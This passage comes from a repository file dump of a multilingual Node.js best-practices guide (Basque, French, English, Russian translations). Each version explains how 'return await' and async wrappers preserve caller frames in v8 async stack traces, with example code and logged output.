gero, soilik aldatu funtzio hau asinkronora eta gehitu `await` callback deiaren aurretik. Callbacka deitzen duen kodearen ardurandu ez zarela kontsideratu dut behean (edo honen aldaketa onartezina da adibidez atzeranzko-konpatibilitatea dela eta)\n\n*2.oharra*: sarri, callback sinrkono bat espero den lekuetan callback asinkronoak erabiltzeak ez du inola ere funtzionatuko. Hau ez da funtzionatzen ez duen kodea nola konpontzeari buruz, kodea behar bezala funtzionatzen ari denean pilaren aztarna nola konpontzeari buruz baizik\n\n```javascript\nasync function berreskuratuErabiltzailea (id) {\n  await null\n  if (!id) throw Error('zati guztiak edukiz')\n  return {id}\n}\n\nconst erabiltzaileIdak = [1, 2, 0, 3]\n\n// 👍 orain azpiko lerroa pilaren aztarnan dago\nPromise.all(erabiltzaileIdak.map(async id => await berreskuratuErabiltzailea(id))).catch(console.log)\n```\n\nerregistratuko du\n\n```\nError: zati guztiak edukiz\n    berreskuratuErabiltzailea-ren barruan ([...])\n    async-en barruan ([...])\n    async Promise.all-en barruan (index 2)\n```\n\n`map` barruko `await` explizituari esker, `async-ren barruan ([...])` lerroaren bukaerak `berreskuratuErabiltzailea` deitua izan den puntu zehatza adieraziko du\n\n*Apunte bat*: `berreskuratuErabiltzailea` biltzen duen funtzio asinkrono batek `await` ahazten badu zerbait bueltatu aurretik (anti-eredua #1 + anti-eredua #3), zati bat bakarrik izango da mantendua pilaren aztarnan:\n\n\n```javascript\n[...]\n\n// 👎 anti-pattern 1 + anti-pattern 3 - only one frame left in stacktrace\nPromise.all(erabiltzaileIdak.map(async id => berreskuratuErabiltzailea(id))).catch(console.log)\n```\n\nerregistratuko du\n\n```\nError: [...]\n    berreskuratuErabiltzailea-ren barruan ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\nZero kostuko pila aztarna asinkronoak\" deitzen den v8 funtzionalitate bat\n\n## Azalpen aurreratua\n\nOso ezberdinak dira funtzio sinkronoen pila aztarnen eta funtzio asinkronoen pila aztarnen mekanismoak v8ren ezarpenetan: pila aztarna asinkronoa oinarritua dago Node.js martxan dagoen sistema eragileak emandako **pila**n (programazio lengoaia gehienak bezala). Funtzio asinkrono bat exekutatzen ari denean, sistema eragileko **pila** agerian jartzen da funtzioa bere lehen `await`era iristen den momentuan. Beraz, pilaren aztarna nahasketa bat da, hain zuzen, sistema eragilearen pilaren eta baztertutako **promesa ebazpen katea**rena. Zero kostuko pila aztarna asinkronoen ezarpenak **promesaren ebazpen katea** luzatzen du bakarrik promesa `itxaroten` <span>[¹](#1)</span> ari den bitartean. Funtzio asinkronoek bakarrik (`async`) itxaron (`await`)  ahal dutenez, beti galduko da funtzio asinkronoa pilaren aztarna asinkrono batean, operazio asinkronoren bat izan bada funtzioa deitu eta gero <span>[²](#2)</span>\n\n### Erdibidea\n\n`await` bakoitzak mikro ataza berri bat sortzen du gertaeraren begiztan. Beraz, `await` gehiago gehitzeak errendimendu zigorra ekarriko luke. Hala ere, sareak edota datu baseak sortutako errendimendu isuna [ikaragarri handiagoa](https://colin-scott.github.io/personal_website/research/interactive_latency.html) da, eta, beraz, gehitutako `await`aren zigorra ez da zerbitzariak edo CLIak garatzeko orduan kontutan hartu beharreko zerbait, eskaera edo komando bakoitzeko oso kode beroa izan ezean behintzat. Orduan, `await`ak ezabatzeak `return await`etan errendimendu bultzada nabarmena bilatzeko azken lekua izan beharko luke eta, zalantzarik gabe, inoiz ez litzateke aldez aurretik egin beharko\n\n\n### Zergatik jotzen zen await bueltatzea anti eredutzat iraganean\n\n[Artikulu bikain](https://jakearchibald.com/2017/await-vs-return-vs-return-await/) ugari daude azaltzen dutenak zergatik `return await`ak ez diren inoiz `try` bloketik kanpo erabili behar, bai eta [ESLint arau](https://eslint.org/docs/rules/no-return-await) bat ere hori debekatzen duena. Horren arrazoia da async/await erabilgarri bihurtu izana Node.js 0.10ko transpilagailuekin (eta jatorrizko laguntza lortu dutela Node.js 7.6 bertsioan), eta \"zero kostuko pila aztarna asinkronoak\" Node.js 10era gehitua izana, eta ondoren Node.js 12tik kendua, `return await` eta `return` guztiz parekoak zirela, edozein `try` kode bloketik kanpo. Oraindik ere berdina izaten jarraituko du seguraski ES motoreentzat. Horregatik, Node.jsrentzat praktika onena da promesak kalkulatzea beraiek bueltatu aurretik. EcmaScriptentzat, ordea, hori ez praktika onena\n\n### Oharrak:\n\n1. Pila aztarna asinkronoak halako ezarpen korapilatsua izatearen beste arrazoi bat da pila aztarna beti modu sinkronoan eraiki behar dela, gertaeraren begiztaren <span id=\"a1\">[¹](#1)</span> momentu berean\n\n2. `throwAsync` barruan `await` gabe, gertaera begiztaren fase berean exekutatuko litzateke kodea. Hori, degeneratutako kasua da: sistema eragilearen **pila** ez litzateke hustuko, eta pila aztarna beteko litzateke funtzioaren emaitzari berariaz itxaron gabe ere. Normalean, promesen erabilerak operazio asinkrono batzuk edukitzen dituenez, pilaren aztarnaren zati batzuk galdu egingo lirateke\n\n3. Zero kostuko pila aztarna asinkronoek ez lukete funtzionatuko promesa erabileren kasu korapilatsuetan: promesa bakar bati hainbat aldiz eta leku ezberdinetan itxaron beharra dagoenean, adibidez\n\n\n### Erreferentziak:\n  <span id=\"1\">1. </span>[v8ko zero kostuko pila aztarna asinkronoak blog argitarapena](https://v8.dev/blog/fast-async)\n  <br/>\n\n  <span id=\"2\">2. </span>[zero kostuko pila aztarna asinkronoei inguruko dokumentazioa ezarpen xehetasunekin hemen](\n    https://docs.google.com/document/d/13Sy_kBIJGP0XT34V1CV3nkWya4TwYx9L3Yv45LdGB6Q/edit\n  )\n  <br/>\n"
  },
  {
    "path": "sections/errorhandling/returningpromises.french.md",
    "content": "# Le retour des promesses\n\n<br/>\n\n### Un paragraphe d'explication\n\nLorsqu'une erreur se produit, qu'elle provienne d'un flux synchrone ou asynchrone, il est impératif de disposer d'une trace de pile complète du flux d'erreurs. Étonnamment, lorsqu'une fonction `async` renvoie une promesse sans `await` (par exemple, elle appelle une autre fonction `async`), si une erreur se produit, la fonction appelante n'apparaîtra pas dans la trace de la pile. La personne qui diagnostiquera l'erreur ne disposera donc que d'une information partielle - d'autant plus si la cause de l'erreur se situe dans cette fonction d'appel. Il existe une fonctionnalité v8 appelée \"zero-cost async stacktraces\" qui permet de ne pas couper les traces de pile sur les `await` les plus récents. Mais sans certaines modalités de mise en œuvre non négligeables, elle ne fonctionnera pas si la valeur de retour d'une fonction (sync ou async) est une promesse. Donc, pour éviter les trous dans les traces de pile lorsque des promesses retournées sont rejetées, nous devons toujours résoudre explicitement les promesses avec `await` avant de les retourner à partir des fonctions.\n\n<br/>\n\n### Exemple de code incorrect : appel d'une fonction async sans await\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync(msg) {\n  await null // il faut attendre au moins quelque chose pour être vraiment asynchrone (voir note n° 2)\n  throw Error(msg)\n}\n\nasync function returnWithoutAwait () {\n  return throwAsync('manque returnWithoutAwait dans la trace de pile')\n}\n\n// 👎 N'aura PAS la fonction returnWithoutAwait dans la trace de pile\nreturnWithoutAwait().catch(console.log)\n```\n\nlog reçu\n\n```\nError: manque returnWithoutAwait dans la trace de pile\n    at throwAsync ([...])\n```\n</p>\n</details>\n\n### Exemple de code : appel d'une fonction async avec await approprié\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync(msg) {\n  await null // il faut attendre au moins quelque chose pour être vraiment asynchrone (voir note n° 2)\n  throw Error(msg)\n}\n\nasync function returnWithAwait() {\n  return await throwAsync('avec toutes les instructions présentes')\n}\n\n// 👍 aura la fonction returnWithoutAwait dans la trace de pile\nreturnWithAwait().catch(console.log)\n```\n\nlog reçu\n\n```\nError: avec toutes les instructions présentes\n    at throwAsync ([...])\n    at async returnWithAwait ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\n### Exemple de code incorrect : retourner une promesse sans marquer la fonction comme async\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync () {\n  await null // il faut attendre au moins quelque chose pour être vraiment asynchrone (voir note n° 2)\n  throw Error('manque syncFn dans la trace de pile')\n}\n\nfunction syncFn () {\n  return throwAsync()\n}\n\nasync function asyncFn () {\n  return await syncFn()\n}\n\n// 👎 syncFn manquera dans la trace de pile parce qu'elle renverra une promesse alors qu'elle est sync\nasyncFn().catch(console.log)\n```\n\nlog reçu\n\n```\nError: manque syncFn dans la trace de pile\n    at throwAsync ([...])\n    at async asyncFn ([...])\n```\n\n</p>\n</details>\n\n### Exemple de code : marquer la fonction comme async car elle renvoie une promesse\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync () {\n  await null // il faut attendre au moins quelque chose pour être vraiment asynchrone (voir note n° 2)\n  throw Error('avec toutes les instructions présentes')\n}\n\nasync function changedFromSyncToAsyncFn () {\n  return await throwAsync()\n}\n\nasync function asyncFn () {\n  return await changedFromSyncToAsyncFn()\n}\n\n// 👍 maintenant changedFromSyncToAsyncFn sera présent dans la trace de la pile\nasyncFn().catch(console.log)\n```\n\nlog reçu\n\n```\nError: avec toutes les instructions présentes\n    at throwAsync ([...])\n    at changedFromSyncToAsyncFn ([...])\n    at async asyncFn ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\n### Exemple de code incorrect : utilisation directe du rappel async lorsque le rappel sync est attendu\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function getUser (id) {\n  await null\n  if (!id) throw Error('la trace de pile n\\'indique pas l\\'endroit où getUser a été appelé')\n  return {id}\n}\n\nconst userIds = [1, 2, 0, 3]\n\n// 👎 la trace de pile aura la fonction getUser mais ne donnera aucune indication sur l'endroit où elle a été appelée\nPromise.all(userIds.map(getUser)).catch(console.log)\n```\n\nlog reçu\n\n```\nError: la trace de pile n'indique pas l'endroit où getUser a été appelé\n    at getUser ([...])\n    at async Promise.all (index 2)\n```\n\n*Remarque complémentaire* : on pourrait croire que `Promise.all (index 2)` peut aider à comprendre l'endroit où `getUser` a été appelé,\nmais en raison d'un [bogue complètement différent dans la v8](https://bugs.chromium.org/p/v8/issues/detail?id=9023), `(index 2)` est\nune ligne interne de v8\n\n</p>\n</details>\n\n### Exemple de code : envelopper le rappel async dans une fonction async factice avant de le passer en rappel sync\n\n<details><summary>Javascript</summary>\n<p>\n\n*Remarque 1* : si vous contrôlez le code de la fonction qui appelle le rappel, changez simplement cette fonction\nen async et ajoutez `await` avant l'appel du rappel. Ci-dessous, je suppose que vous n'êtes pas en charge du code qui appelle\nle rappel (ou que son changement est inacceptable, par exemple en raison de la rétrocompatibilité)\n\n*Remarque 2* : très souvent, l'utilisation du rappel async dans les endroits où l'on s'attend à ce qu'il soit sync ne fonctionnerait pas du tout. Il ne s'agit pas\nde savoir comment réparer le code qui ne fonctionne pas - il s'agit de savoir comment réparer la trace de pile au cas où le code fonctionne déjà\ncomme prévu\n\n```javascript\nasync function getUser (id) {\n  await null\n  if (!id) throw Error('avec toutes les instructions présentes')\n  return {id}\n}\n\nconst userIds = [1, 2, 0, 3]\n\n// 👍 maintenant la ligne ci-dessous est dans la trace de la pile\nPromise.all(userIds.map(async id => await getUser(id))).catch(console.log)\n```\n\nlog reçu\n\n```\nError: avec toutes les instructions présentes\n    at getUser ([...])\n    at async ([...])\n    at async Promise.all (index 2)\n```\n\ngrâce au `await` explicite dans `map`, la fin de la ligne `at async ([...])` indique l'endroit exact où\n`getUser` est appelé\n\n*Remarque complémentaire* : si la fonction async qui enveloppe `getUser` n'a pas `await` avant le retour (exemple incorrect n°1 + exemple incorrect n°3)\nalors il ne restera qu'une seule instruction dans la trace de la pile :\n\n```javascript\n[...]\n\n// 👎 exemple incorrect n°1 + exemple incorrect n°3 - une seule instruction dans la trace de la pile\nPromise.all(userIds.map(async id => getUser(id))).catch(console.log)\n```\n\nlog reçu\n\n```\nError: [...]\n    at getUser ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\n## Explication approfondie\n\nLes mécanismes des traces de piles des fonctions de sync et des fonctions async dans l'implémentation de la v8 sont très différents :\nLa trace de pile sync est basée sur la **pile** fournie par le système d'exploitation sur lequel tourne Node.js (comme dans la plupart des langages\nde programmation). Lorsqu'une fonction async est en cours d'exécution, la **pile** du système d'exploitation l'a sort dès que la\nfonction est arrivée à son premier `await`. Donc la trace de pile async est un mélange de la **pile** du système d'exploitation et d'une\n**chaîne de résolution des promesses** rejetées. L'implémentation \"zero-cost async stacktraces\" étend la  **chaîne de résolution des promesses**\nuniquement lorsque la promesse est `awaited` <span>[¹](#1)</span>. Parce que seules les fonctions `async` peuvent `await`,\nla fonction sync sera toujours manquante dans la trace de la pile async si une opération async a été effectuée après que la fonction\na été appelé <span>[²](#2)</span>\n\n### Le compromis\n\nChaque `await` crée une nouvelle micro-tâche dans la boucle d'événement, donc l'ajout d'autres `await` dans le code\nintroduit une certaine pénalité de performance. Néanmoins, la pénalité de performance introduite par le réseau ou\nla base de données est [énormément plus grande](https://colin-scott.github.io/personal_website/research/interactive_latency.html)\ndonc la pénalité supplémentaire `await` n'est pas quelque chose qui devrait être considéré pendant le développement de serveurs web ou de CLI\nsauf pour un code très chaud par requête ou commande. Donc, la suppression de `await` dans \nles `return await` devrait être l'un des derniers moyens pour améliorer sensiblement les performances\net ne doit absolument pas être fait en amont.\n\n\n### Pourquoi return await était considéré comme incorrect dans le passé\n\nUn certain nombre d'[excellents articles](https://jakearchibald.com/2017/await-vs-return-vs-return-await/) expliquent\npourquoi `return await` ne devrait jamais être utilisée en dehors du bloc `try` et même une\n[règle ESLint](https://eslint.org/docs/rules/no-return-await) l'interdit. La raison, c'est que depuis que async/await\nest disponible avec des transpileurs dans Node.js 0.10 (et a obtenu un support natif dans Node.js 7.6) et jusqu'à ce\nque \"zero-cost async stacktraces\" a été introduit dans Node.js 10 et démarqué dans Node.js 12, `return await` était absolument\néquivalent à `return` pour tout code en dehors du bloc `try`. Il se peut que ce soit encore le cas pour certains autres moteurs ES.\nC'est pourquoi la résolution des promesses avant de les retourner est la meilleure pratique pour Node.js et non pour EcmaScript en général\n\n### Remarques :\n\n1. Une autre raison pour laquelle la trace de pile async a une implémentation aussi délicate, c'est que la trace de pile\ndoit toujours être construite de manière synchrone, sur le même rythme que la boucle d'événement <span id=\"a1\">[¹](#1)</span>\n2. Sans `await` dans `throwAsync`, le code serait exécuté dans la même phase de la boucle d'événements. C'est un cas\ndégradé où la **pile** de l'OS ne serait pas vide et la trace de pile serait pleine même sans attendre\nexplicitement le résultat de la fonction. Habituellement, l'utilisation des promesses inclut des opérations asynchrones\net des parties de la trace de la pile sont perdues\n3. Zero-cost async stacktraces ne fonctionnera toujours pas pour les usages compliqués de la promesse, par exemple la promesse unique\nattendue à plusieurs reprises dans différents endroits\n\n### Références :\n  <span id=\"1\">1. </span>[article de blog sur zero-cost async stacktraces en v8](https://v8.dev/blog/fast-async)\n  <br/>\n\n  <span id=\"2\">2. </span>[Document sur zero-cost async stacktraces avec les détails de mise en œuvre mentionnés ici](\n    https://docs.google.com/document/d/13Sy_kBIJGP0XT34V1CV3nkWya4TwYx9L3Yv45LdGB6Q/edit\n  )\n  <br/>\n"
  },
  {
    "path": "sections/errorhandling/returningpromises.md",
    "content": "# Returning promises\n\n<br/>\n\n### One Paragraph Explainer\n\nWhen an error occurs, whether from a synchronous or asynchronous flow, it's imperative to have a full stacktrace of the error flow. Surprisingly, if an async function returns a promise (e.g. calls other async function) without awaiting, should an error occur then the caller function won't appear in the stacktrace. This will leave the person who diagnoses the error with partial information - All the more if the error cause lies within that caller function. There is a v8 feature called \"zero-cost async stacktraces\" that allows stacktraces to not be cut on the most recent `await`. But due to non-trivial implementation details, it will not work if the return value of a function (sync or async) is a promise. So, to avoid holes in stacktraces when returned promises would be rejected, we must always explicitly resolve promises with `await` before returning them from functions\n\n<br/>\n\n### Code example Anti-Pattern: Calling async function without awaiting\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync(msg) {\n  await null // need to await at least something to be truly async (see note #2)\n  throw Error(msg)\n}\n\nasync function returnWithoutAwait () {\n  return throwAsync('missing returnWithoutAwait in the stacktrace')\n}\n\n// 👎 will NOT have returnWithoutAwait in the stacktrace\nreturnWithoutAwait().catch(console.log)\n```\n\nwould log\n\n```\nError: missing returnWithoutAwait in the stacktrace\n    at throwAsync ([...])\n```\n</p>\n</details>\n\n### Code example: Calling and awaiting as appropriate\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync(msg) {\n  await null // need to await at least something to be truly async (see note #2)\n  throw Error(msg)\n}\n\nasync function returnWithAwait() {\n  return await throwAsync('with all frames present')\n}\n\n// 👍 will have returnWithAwait in the stacktrace\nreturnWithAwait().catch(console.log)\n```\n\nwould log\n\n```\nError: with all frames present\n    at throwAsync ([...])\n    at async returnWithAwait ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\n### Code example Anti-Pattern: Returning a promise without tagging the function as async\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync () {\n  await null // need to await at least something to be truly async (see note #2)\n  throw Error('missing syncFn in the stacktrace')\n}\n\nfunction syncFn () {\n  return throwAsync()\n}\n\nasync function asyncFn () {\n  return await syncFn()\n}\n\n// 👎 syncFn would be missing in the stacktrace because it returns a promise while being sync\nasyncFn().catch(console.log)\n```\n\nwould log\n\n```\nError: missing syncFn in the stacktrace\n    at throwAsync ([...])\n    at async asyncFn ([...])\n```\n\n</p>\n</details>\n\n### Code example: Tagging the function that returns a promise as async\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync () {\n  await null // need to await at least something to be truly async (see note #2)\n  throw Error('with all frames present')\n}\n\nasync function changedFromSyncToAsyncFn () {\n  return await throwAsync()\n}\n\nasync function asyncFn () {\n  return await changedFromSyncToAsyncFn()\n}\n\n// 👍 now changedFromSyncToAsyncFn would present in the stacktrace\nasyncFn().catch(console.log)\n```\n\nwould log\n\n```\nError: with all frames present\n    at throwAsync ([...])\n    at changedFromSyncToAsyncFn ([...])\n    at async asyncFn ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\n### Code Example Anti-pattern #3: direct usage of async callback where sync callback is expected\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function getUser (id) {\n  await null\n  if (!id) throw Error('stacktrace is missing the place where getUser has been called')\n  return {id}\n}\n\nconst userIds = [1, 2, 0, 3]\n\n// 👎 the stacktrace would include getUser function but would give no clue on where it has been called\nPromise.all(userIds.map(getUser)).catch(console.log)\n```\n\nwould log\n\n```\nError: stacktrace is missing the place where getUser has been called\n    at getUser ([...])\n    at async Promise.all (index 2)\n```\n\n*Side-note*: it may look like `Promise.all (index 2)` can help understanding the place where `getUser` has been called,\nbut due to a [completely different bug in v8](https://bugs.chromium.org/p/v8/issues/detail?id=9023), `(index 2)` is\na line from internals of v8\n\n</p>\n</details>\n\n### Code example: wrap async callback in a dummy async function before passing it as a sync callback\n\n<details><summary>Javascript</summary>\n<p>\n\n*Note 1*: if you control the code of the function that would call the callback - just change that function to\n`async` and add `await` before the callback call. Below I assume that you are not in charge of the code that is calling\nthe callback (or its change is unacceptable for example because of backward compatibility)\n\n*Note 2*: quite often usage of async callback in places where sync one is expected would not work at all. This is not about\nhow to fix the code that is not working - it's about how to fix stacktrace in case if code is already working as\nexpected\n\n```javascript\nasync function getUser (id) {\n  await null\n  if (!id) throw Error('with all frames present')\n  return {id}\n}\n\nconst userIds = [1, 2, 0, 3]\n\n// 👍 now the line below is in the stacktrace\nPromise.all(userIds.map(async id => await getUser(id))).catch(console.log)\n```\n\nwould log\n\n```\nError: with all frames present\n    at getUser ([...])\n    at async ([...])\n    at async Promise.all (index 2)\n```\n\nwhere thanks to explicit `await` in `map`, the end of the line `at async ([...])` would point to the exact place where\n`getUser` has been called\n\n*Side-note*: if async function that wrap `getUser` lacks `await` before return (anti-pattern #1 + anti-pattern #3)\nthen only one frame would be left in the stacktrace:\n\n```javascript\n[...]\n\n// 👎 anti-pattern 1 + anti-pattern 3 - only one frame left in stacktrace\nPromise.all(userIds.map(async id => getUser(id))).catch(console.log)\n```\n\nwould log\n\n```\nError: [...]\n    at getUser ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\n## Advanced explanation\n\nThe mechanisms behind sync functions stacktraces and async functions stacktraces in v8 implementation are quite different:\nsync stacktrace is based on **stack** provided by the operating system Node.js is running on (just like in most programming\nlanguages). When an async function is executing, the **stack** of the operating system is popping it out as soon as the\nfunction gets to its first `await`. So async stacktrace is a mix of operating system **stack** and a rejected\n**promise resolution chain**. Zero-cost async stacktraces implementation extends the **promise resolution chain**\nonly when the promise is getting `awaited` <span>[¹](#1)</span>. Because only `async` functions may `await`,\nsync function would always be missing from async stacktrace if any async operation has been performed after the function\nhas been called <span>[²](#2)</span>\n\n### The tradeoff\n\nEvery `await` creates a new microtask in the event loop, so adding more `await`s to the code would\nintroduce some performance penalty. Nevertheless, the performance penalty introduced by network or\ndatabase is [tremendously larger](https://colin-scott.github.io/personal_website/research/interactive_latency.html)\nso additional `await`s penalty is not something that should be considered during web servers or CLI\ndevelopment unless for a very hot code per request or command. So removing `await`s in\n`return await`s should be one of the last places to search for noticeable performance boost and\ndefinitely should never be done up-front\n\n\n### Why return await was considered as anti-pattern in the past\n\nThere is a number of [excellent articles](https://jakearchibald.com/2017/await-vs-return-vs-return-await/) explaining\nwhy `return await` should never be used outside of `try` block and even an\n[ESLint rule](https://eslint.org/docs/rules/no-return-await) that disallows it. The reason for that is the fact that\nsince async/await become available with transpilers in Node.js 0.10 (and got native support in Node.js 7.6) and until\n\"zero-cost async stacktraces\" was introduced in Node.js 10 and unflagged in Node.js 12, `return await` was absolutely\nequivalent to `return` for any code outside of `try` block. It may still be the same for some other ES engines. This\nis why resolving promises before returning them is the best practice for Node.js and not for ECMAScript in general\n\n### Notes:\n\n1. One other reason why async stacktrace has such tricky implementation is the limitation that stacktrace\nmust always be built synchronously, on the same tick of event loop <span id=\"a1\">[¹](#1)</span>\n2. Without `await` in `throwAsync` the code would be executed in the same phase of event loop. This is a\ndegenerated case when OS **stack** would not get empty and stacktrace be full even without explicitly\nawaiting the function result. Common usage of promises includes some async operations and so parts of\nthe stacktrace would get lost\n3. Zero-cost async stacktraces still would not work for complicated promise usages e.g. single promise\nawaited many times in different places\n\n### References:\n  <span id=\"1\">1. </span>[Blog post on zero-cost async stacktraces in v8](https://v8.dev/blog/fast-async)\n  <br/>\n\n  <span id=\"2\">2. </span>[Document on zero-cost async stacktraces with mentioned here implementation details](\n    https://docs.google.com/document/d/13Sy_kBIJGP0XT34V1CV3nkWya4TwYx9L3Yv45LdGB6Q/edit\n  )\n  <br/>\n"
  },
  {
    "path": "sections/errorhandling/returningpromises.russian.md",
    "content": "# Возвращение промисов\n\n<br/>\n\n### Короткое объяснение\n\nУ v8 есть особая способность, называемая \"бесплатные асинхронные стектрейсы\", которая позволяет стектрейсам не\nобрываться на самом позднем `await`. Но, из-за нетривиальных нюансов реализации, она не сработает если возвращаемое\nзначение функции (синхронной или асинхронной) является промис. По этому, для того чтобы избежать дыр в стектрейсах\nпосле отказа (rejection) возвращаемого промиса, следует всегда явно разрешать (resolve) промисы при помощи `await`\nперед тем как возвращать их из функций\n\n<br/>\n\n### Анти-паттерн №1: return `promise`\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync(msg) {\n  await null // нужно выполнить await для того что бы функция была по-настоящему асинхронной (см. заметку №2)\n  throw Error(msg)\n}\n\nasync function returnWithoutAwait () {\n  return throwAsync('missing returnWithoutAwait in the stacktrace')\n}\n\n// 👎 returnWithoutAwait будет отсутствовать в стектрейсе\nreturnWithoutAwait().catch(console.log)\n```\n\nвыведет в лог\n\n```\nError: missing returnWithoutAwait in the stacktrace\n    at throwAsync ([...])\n```\n\n</p>\n</details>\n\n### Как правильно: return await `promise`\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync(msg) {\n  await null // нужно выполнить await для того что бы функция была по-настоящему асинхронной (см. заметку №2)\n  throw Error(msg)\n}\n\nasync function returnWithAwait() {\n  return await throwAsync('with all frames present')\n}\n\n// 👍 returnWithAwait будет присутствовать в стектрейсе\nreturnWithAwait().catch(console.log)\n```\n\nвыведет в лог\n\n```\nError: with all frames present\n    at throwAsync ([...])\n    at async returnWithAwait ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\n### Анти-паттерн №2: синхронная функция возвращающая промис\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync () {\n  await null // нужно выполнить await для того что бы функция была по-настоящему асинхронной (см. заметку №2)\n  throw Error('missing syncFn in the stacktrace')\n}\n\nfunction syncFn () {\n  return throwAsync()\n}\n\nasync function asyncFn () {\n  return await syncFn()\n}\n\n// 👎 syncFn будет отсутствовать в стектрейсе так как она синхронная и возвращает промис\nasyncFn().catch(console.log)\n```\n\nwould log\n\n```\nError: missing syncFn in the stacktrace\n    at throwAsync ([...])\n    at async asyncFn ([...])\n```\n\n</p>\n</details>\n\n### Как правильо: объявить функцию возвращающую промис как асинхронную\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function throwAsync () {\n  await null // нужно выполнить await для того что бы функция была по-настоящему асинхронной (см. заметку №2)\n  throw Error('with all frames present')\n}\n\nasync function changedFromSyncToAsyncFn () {\n  return await throwAsync()\n}\n\nasync function asyncFn () {\n  return await changedFromSyncToAsyncFn()\n}\n\n// 👍 теперь changedFromSyncToAsyncFn будет присутствовать в стектрейсе\nasyncFn().catch(console.log)\n```\n\nwould log\n\n```\nError: with all frames present\n    at throwAsync ([...])\n    at changedFromSyncToAsyncFn ([...])\n    at async asyncFn ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\n### Анти-паттерн №3: прямая передача асинхронного коллбэка в месте где ожидается синхронный коллбек\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function getUser (id) {\n  await null\n  if (!id) throw Error('stacktrace is missing the place where getUser has been called')\n  return {id}\n}\n\nconst userIds = [1, 2, 0, 3]\n\n// 👎 хотя в стектрейсе будет присутствовать функция getUser, в нем не будет места где она была вызвана \nPromise.all(userIds.map(getUser)).catch(console.log)\n```\n\nвыведет в лог\n\n```\nError: stacktrace is missing the place where getUser has been called\n    at getUser ([...])\n    at async Promise.all (index 2)\n```\n\n*Между прочим*: может показаться что  `Promise.all (index 2)` может помоч понять где `getUser` была вызвана, но из-за\n[совершенно другого бага в v8](https://bugs.chromium.org/p/v8/issues/detail?id=9023), `(index 2)` является строкой из\nвнутреннего кода v8\n\n</p>\n</details>\n\n### Как правильно: обернуть асинхронный коллбэк в асинхронную функция перед тем как передать его как синхронный коллбэк\n\n<details><summary>Javascript</summary>\n<p>\n\n*Заметка 1*: в случае если вы отвечаете за код функции которая в итоге вызовет коллбэк - просто сделаете ее асинхронной и\nдобавьте `await` перед вызовом коллбэка. Далее я предполагаю что вы не имеете контроля над кодом функции которая\nвызывает коллбэк (или ее изменение таким образом недопустимо, например, из соображений обратной совместимости)\n\n*Заметка 2*: Имейте ввиду, часто передача асинхронного коллбэка в место где ожидается синхронный коллбэк вообще не будет работать.\nТут описывается не как починить такой код а лишь как починить стектрейсы если код уже работает как ожидается\n\n```javascript\nasync function getUser (id) {\n  await null\n  if (!id) throw Error('with all frames present')\n  return {id}\n}\n\nconst userIds = [1, 2, 0, 3]\n\n// 👍 теперь строка вызова getUser присутствует в стектрейсе\nPromise.all(userIds.map(async id => await getUser(id))).catch(console.log)\n```\n\nвыведет в лог\n\n```\nError: with all frames present\n    at getUser ([...])\n    at async ([...])\n    at async Promise.all (index 2)\n```\n\nгде, благодаря явному `await` в `map`, конец строки `at async ([...])` указывает на место где `getUser` была вызвана\n\n*Между прочим*: если оберточная асинхронная функция для `getUser` не сделает явный `await` перед возвратом (то есть\nкомбинация анти-паттерн 1 + анти-паттерн 3), то стектрейс останется вообще всегда с одним кадром:\n\n```javascript\n[...]\n\n// 👎 анти-паттерн 1 + анти-паттерн 3 - в стектрейсе осталась только getUser\nPromise.all(userIds.map(async id => getUser(id))).catch(console.log)\n```\n\nвыведет в лог\n\n```\nError: [...]\n    at getUser ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\n### Углубленное объяснение\n\nМеханизмы стоящие за построением синхронных и асинхронных стектрейсов в v8 довольно сильно отличаются: синхронные\nстектрейсы основаны на **стеке** операционной системы на которой запущен Node.js (как и для многих других языков\nпрограммирования). Во время выполнения асинхронной функции, **стек** операционной системы выталкивает функцию как\nтолько та доходит до первого-же `await`. По этому асинхронные стектрейсы представляют собой смесь **стека**\nоперационной системы и **цепочки разрешения отказанного (rejected) промиса**. \"Бесплатные асинхронные стектрейсы\"\nреализованны таким образом что **цепочка разрешения промиса** расширяется только когда на промисе исполняется `await`\n<span>[¹](#1)</span>. По сколько только асинхронные функции могут использовать `await`, синхронные функции\nвсегда будут упущены из асинхронного стектрейса если любая асинхронная операция была исполнена после момента вызова\nэтой синхронной функции <span>[²](#2)</span>\n\n### Компромисc\n\nКаждый `await` создает дополнительную микрозадачу (microtask) в цикле событий (event loop), по\nэтому дополнительные `await`-ы в коде создадут определенную дополнительную нагрузку. Тем ни менее,\nзадержки создаваемые сетью и базой данных [несоизмеримо выше](https://colin-scott.github.io/personal_website/research/interactive_latency.html)\nпо этому нагрузка создаваемая дополнительными `await`-ами не является чем-то что стоит принимать во\nвнимание при разработке веб-серверов или интерфейсов командной строки (CLI), разве что для очень\nгорячих участков кода на запрос или команду. По этому убирание `await`-ов из `return await` должно\nбыть одним из последних мест для поиска значимых улучшений производительности приложения и точно не\nдолжно выполняться наперед\n\n### Почему return await раньше считалось анти-паттерном\n\nСуществует ряд [отличных 